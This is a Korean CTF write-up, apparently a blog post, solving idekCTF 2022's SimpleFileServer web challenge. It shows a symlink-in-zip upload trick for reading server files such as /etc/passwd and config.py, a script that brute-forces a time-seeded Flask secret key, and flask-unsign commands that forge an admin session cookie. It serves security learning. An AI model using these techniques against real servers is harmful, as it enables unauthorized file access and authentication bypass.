idekCTF 2022-web-SimpleFileServer

yoobi·2023년 1월 19일
0

FLAG 획득 방법론

  • 주어진 Dockerfile을 통해 flag.txt가 존재하지만 root만 읽을 수 있고, flag라는 실행 파일을 통해 flag를 획득하는 문제임을 알 수 있습니다.
@app.route("/flag")
def flag():
    if not session.get("admin"):
        return "Unauthorized!"
    return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")
  • /flag를 통해 ./flag를 실행할 수 있지만 session.get("admin") 값이 true 일 때만 실행이 가능합니다.
CREATE TABLE users(username text, password text, admin boolean)
  • users 테이블은 username, password, 그리고 boolean 자료형의 admin을 가지고 있습니다.
@app.route("/register", methods=["GET", "POST"])
def register():
    session.clear()

    if request.method == "GET":
        return render_template("register.html")

    username = request.form.get("username", "")
    password = request.form.get("password", "")
    if not username or not password or not re.fullmatch("[a-zA-Z0-9_]{1,24}", username):
        flash("Invalid username/password", "danger")
        return render_template("register.html")
    
    with sqlite3.connect(DATA_DIR + "database.db") as db:
        res = db.cursor().execute("SELECT username FROM users WHERE username=?", (username,))
        if res.fetchone():
            flash("That username is already registered", "danger")
            return render_template("register.html")
        
        db.cursor().execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, generate_password_hash(password)))
        db.commit()
    
    session["uid"] = username
    session["admin"] = False
    return redirect("/upload")
  • register() 함수에서는 기본적으로 session["admin"] = False의 계정을 가입시켜주고 있습니다.
@app.route("/login", methods=["GET", "POST"])
def login():
    session.clear()

    if request.method == "GET":
        return render_template("login.html")

    username = request.form.get("username", "")
    password = request.form.get("password", "")
    with sqlite3.connect(DATA_DIR + "database.db") as db:
        res = db.cursor().execute("SELECT password, admin FROM users WHERE username=?", (username,))
        user = res.fetchone()
        if not user or not check_password_hash(user[0], password):
            flash("Incorrect username/password", "danger")
            return render_template("login.html")
    
    session["uid"] = username
    session["admin"] = user[1]
    return redirect("/upload")
  • login() 함수에서는 DB에서 조회한 admin 값을 session["admin"]으로 세팅해주고 있습니다.
  • 최종적으로 admin 값이 true인 계정의 username, password를 확보하여 session["admin"]=true로 세팅이 되게 만들거나, session["admin"]=False로 생성된 세션 값을 조작하여 session["admin"]=True로 강제 변경하는 2가지 방법론을 세워볼 수 있습니다.
  • 코드 상 admin 값이 true인 계정이 세팅되는 부분은 따로 존재하지 않습니다. 따라서, 2번째 방법으로 접근합니다.

flask 세션 쿠키 분석 및 세션 생성 과정 분석

증적00.jpg
  • 생성된 세션 쿠키 값을 디코딩하면 "admin": false, "uid": "yoobi"의 값을 가지고 있는 것을 확인할 수 있습니다. 즉, 세션이 생성 과정을 분석하여 "admin": true로 변경하면 ./flag를 읽을 수 있습니다.
# Set secret key
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]
  • flask에서 세션을 사용하기 위해 필요한 선생 작업으로 app.secret_key가 세팅되어야 한다고 합니다.
  • os.environ["SECRET_KEY"]의 값을 가져와서 사용하는 것을 확인할 수 있습니다.
import random
import os
import time

SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
  • config.py에서 os.environ["SECRET_KEY"]를 세팅하는 것을 확인할 수 있습니다.
  • 생성된 SECRET_KEY를 알아내기 위해서는, SECRET_OFFSET 값과 time.time() 값 이렇게 두 가지 값에 대한 정보를 획득해야 합니다. SECRET_KEY는 REDACTED라고 명시되어 있어 서버 내 파일에 상수 값이 저장되어 있음을 유추해볼 수 있습니다. time.time()은 서버가 실행되어 os.environ["SECRET_KEY"]를 세팅하는 시점의 시간 정보입니다.
# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')
LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))
logger = logging.getLogger("application")
logger.addHandler(LOG_HANDLER)
logger.propagate = False
for handler in logging.root.handlers[:]:
    logging.root.removeHandler(handler)
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
logging.getLogger().addHandler(logging.StreamHandler())

서버가 처음 구동되었을 때 위와 같은 Configure logging 기능이 존재하는 것을 확인할 수 있습니다. 여기서 logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')와 같이 시간 정보를 로깅하고 있습니다. 로깅되는 파일 명은 '/tmp/server.log'입니다.

따라서, config.py 파일과 /tmp/server.log 파일 2가지 파일에 대한 접근이 필요합니다.

config.py & /tmp/server.log 획득하기

@app.route("/upload", methods=["GET", "POST"])
def upload():
    if not session.get("uid"):
        return redirect("/login")
    if request.method == "GET":
        return render_template("upload.html")

    if "file" not in request.files:
        flash("You didn't upload a file!", "danger")
        return render_template("upload.html")
    
    file = request.files["file"]
    uuidpath = str(uuid.uuid4())
    filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
    file.save(filename)
    subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])    
    flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
    logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
    return redirect("/upload")
  • upload() 함수를 통해 파일 업로드 기능이 존재합니다.
  • 이때, 파일을 업로드하면 unzip 하여 서버 내에 저장해주는 것을 확인할 수 있습니다.
  • 이 서비스를 사용하여 심볼릭 링크가 걸린 파일을 압축하여 업로드하면 서버 내 파일에 대한 접근이 가능합니다.
ln -s / yoobi && zip --symlinks upload.zip yoobi
  • 생성된 파일을 업로드하고 접근하면 파일 접근이 가능합니다.
http://simple-file-server.chal.idek.team:1337/uploads/734e4147-c736-4002-8a94-200d59f4f04e/yoobi/etc/passwd
http://simple-file-server.chal.idek.team:1337/uploads/734e4147-c736-4002-8a94-200d59f4f04e/yoobi/app/config.py
http://simple-file-server.chal.idek.team:1337/uploads/734e4147-c736-4002-8a94-200d59f4f04e/yoobi/tmp/server/log
  • 이렇게 config.py와 /tmp/server/log 획득이 가능합니다.
# config.py
import random
import os
import time

SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
# /tmp/server.log
[2023-01-16 23:13:22 +0000] [8] [INFO] Starting gunicorn 20.1.0
[2023-01-16 23:13:22 +0000] [8] [INFO] Listening at: http://0.0.0.0:1337 (8)
[2023-01-16 23:13:22 +0000] [8] [INFO] Using worker: sync
[2023-01-16 23:13:22 +0000] [14] [INFO] Booting worker with pid: 14
...

os.environ["SECRET_KEY"] 획득하기

SECRET_OFFSET = -67198624
time.time() : [2023-01-16 23:13:22 +0000] [8] [INFO] Starting gunicorn 20.1.0
  • 이제 SECRET_OFFSET 값과 time.time() 값 이렇게 두 가지를 획득하였으므로 SECRET_KEY 값을 획득할 수 있습니다.
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
  • config.py 파일에서는 round((time.time() + SECRET_OFFSET) * 1000))으로 random의 seed 값을 설정하고 있습니다. server.log에 저장된 time.time() 값과 config.py가 실행될 때의 time.time() 값은 오차가 발생할 수 있습니다. 따라서, seed 값을 브루트포싱하여 정확한 SECRET_KEY를 찾아야합니다.
  • flask-unsign 이라는 툴을 활용하여 SECRET_KEY를 찾아낼 수 있습니다.
import random
import os
import time
import arrow

unix_time = int(arrow.get('2023-01-17T05:54:04.000000+00:00').timestamp())
print(unix_time)

f = open("./wordlist.txt", "w")
SECRET_OFFSET = -67198624
start = (unix_time + SECRET_OFFSET) * 1000
guess = start
print(start)
for guess in range(start, start + 100000):
    random.seed(guess)
    SECRET_KEY = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
    print(SECRET_KEY)
    f.write(SECRET_KEY+"\n")
  • 우선, server.log에 있는 time.time()으로 생성한 seed 값부터 시작하여 seed+100000까지의 SECRET_KEY를 wordlist.txt 파일에 저장합니다. 생성된 SECRET_KEY 중에 진짜 SECRET_KEY가 있을 것입니다.
# flask-unsign --decode --cookie 'eyJhZG1pbiI6ZmFsc2UsInVpZCI6Inlvb2JpIn0.Y8Y4Cg.rUJC5B632d2r55uElTHwjAeO6kc'

{'admin': False, 'uid': 'yoobi'}
  • flask-unsign은 --decode 기능도 존재합니다.
# flask-unsign --unsign --cookie 'eyJhZG1pbiI6ZmFsc2UsInVpZCI6Inlvb2JpIn0.Y8Y4Cg.rUJC5B632d2r55uElTHwjAeO6kc' --wordlist .\wordlist.txt

[*] Session decodes to: {'admin': False, 'uid': 'yoobi'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 896 attempts26959a73ad80
'3c2a7a72871fc4292bc8e63c0b818e88'
  • 생성한 wordlist로 --unsing을 진행하면 진짜 SECRET_KEY를 획득할 수 있습니다.
# flask-unsign --sign --cookie "{'admin': True}" --secret '3c2a7a72871fc4292bc8e63c0b818e88'

eyJhZG1pbiI6dHJ1ZX0.Y8Y4-Q.ZagAU1Xy_Nqtxzkk7OfVs4Wr9n4
  • 획득한 SECRET_KEY로 {'admin': True}를 가진 세션 쿠키를 강제로 생성할 수 있습니다.
  • 생성한 세션 쿠키로 값을 변경한 후 /flag 페이지에 접근하면 FLAG를 획득할 수 있습니다.
profile
this is yoobi

0개의 댓글